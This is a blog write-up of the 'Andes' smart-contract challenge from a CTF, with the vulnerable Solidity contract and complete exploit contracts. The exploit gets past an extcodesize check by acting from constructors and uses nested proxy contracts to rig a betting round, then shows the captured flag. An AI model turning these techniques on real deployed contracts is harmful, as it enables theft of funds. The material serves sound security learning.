# Andes

Andes is the second of the two Web3 challenges featured in the LakeCTF 2022.

At a first glance the contract may seem extremely lengthy and quirky

contract Andes {
// designators can designate an address to be the next random
// number selector
mapping (address => bool) designators;
mapping (address => uint) balances;
address selector;
uint8 private nextVal;
address[8][8] bids;
event Registered(address, uint);
event RoundFinished(address);
event GetFlag(bytes32);
constructor(){
designators[msg.sender] = true;
_resetBids();
}
function isDesignator(address _address) public view returns(bool){
return designators[_address];
}
modifier onlyDesignators() {
require(designators[msg.sender] == true, "Not owner");
_;
}
function register() public {
require(balances[msg.sender] < 10);
balances[msg.sender] = 50;
emit Registered(msg.sender, 50);
}
function setNextSelector(address _selector) public onlyDesignators {
require(_selector != msg.sender);
selector = _selector;
}
function setNextNumber(uint8 value) public {
require(selector == msg.sender);
nextVal = value;
}
function _resetBids() private {
for (uint i = 0; i < 8; i++) {
for (uint j = 0; j < 8; j++) {
bids[i][j] = address(0);
}
}
}
function purchaseBid(uint8 bid) public {
require(balances[msg.sender] > 10);
require(msg.sender != selector);
uint row = bid % 8;
uint col = bid / 8;
if (bids[row][col] == address(0)) {
balances[msg.sender] -= 10;
bids[row][col] = msg.sender;
}
}
function playRound() public onlyDesignators {
address winner = bids[nextVal % 8][nextVal / 8];
balances[winner] += 1000;
_resetBids();
emit RoundFinished(winner);
}
function getFlag(bytes32 token) public {
require(balances[msg.sender] >= 1000);
emit GetFlag(token);
}
function _canBeDesignator(address _addr) private view returns(bool) {
uint size = 0;
assembly {
size := extcodesize(_addr)
}
return size == 0 && tx.origin != msg.sender;
}
function designateOwner() public {
require(_canBeDesignator(msg.sender));
require(balances[msg.sender] > 0);
designators[msg.sender] = true;
}
function getBalance(address addr) public view returns(uint) {
return balances[addr];
}
}

However we can easily point out the nevralgic parts:

We have a GetFlag method that requires the caller to have 1000 coins in the balance mapping.

In order to increase our balance we should win a round

function playRound() public onlyDesignators {
address winner = bids[nextVal % 8][nextVal / 8];
balances[winner] += 1000;
_resetBids();
emit RoundFinished(winner);
}

In order to win the round we should put a bet on the correct nextVal, however this operation can only be performed by the selector, and the selector can only be picked by a designator

function setNextSelector(address _selector) public onlyDesignators {
require(_selector != msg.sender);
selector = _selector;
}
function setNextNumber(uint8 value) public {
require(selector == msg.sender);
nextVal = value;
}

So basically we will need to build a matrioska of Contracts in order to bypass the various checks:

extcodesize(_addr) == 0 should prevent non-human wallets, however also code in contracts contructor have the codesize set to zero.

Similarly, everytime we need to bypass a msg.sender we can create a child contract to use it as a proxy

contract ExploitGrandpa{
Andes targetContract;
constructor(address targetAddress) {
targetContract = Andes(targetAddress);
}
function setNextNumber() public{
targetContract.setNextNumber(1);
}
}
contract ExploitFather{
Andes public targetContract;
ExploitGrandpa grandpaContract;
constructor(address targetAddress) {
targetContract = Andes(targetAddress);
targetContract.register();
targetContract.designateOwner();
grandpaContract = new ExploitGrandpa(targetAddress);
targetContract.setNextSelector(address(grandpaContract));
grandpaContract.setNextNumber();
targetContract.purchaseBid(1);
targetContract.playRound();
}
function getAddress() public view returns(address){
return address(this);
}
function getFlag(bytes32 token) public {
targetContract.getFlag(token);
}
}
contract ExploitSon{
ExploitFather fatherContract;
Andes targetContract;
constructor(address targetAddress) {
targetContract = Andes(targetAddress);
fatherContract = new ExploitFather(targetAddress);
}
function getFatherExploitAddress() public view returns(address){
return fatherContract.getAddress();
}
function getFlag(bytes32 token) public {
fatherContract.getFlag(token);
}
}
$ Connection to nile.chall.pwnoh.io port 13378 [tcp/*] succeeded!
> Hello! The contract is running at 0xdCAeeeB6b02A2E5FbAe956200f1b88784bE25500 on the Goerli Testnet.
> Here is your token id: 0xf3f5a1a3bfe698a0de59eab124cfa2fb
> Are you ready to receive your flag? (y/n)
$ y
> Here is the flag: buckeye{n3v3r_g4mbl1ng_4g41n}

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts

# Mine the gap

GoogleCTF 2023 3 min read

Even if I’m not fully into Cybersec anymore I still enjoy testing my skills with CTFs from time to time ( especially along the wonderful Hackappatoi team ) !

# Nile

LakeCTF 2022 3 min read

Nile is the first of the two CTF challenges featured in the LakeCTF 2022.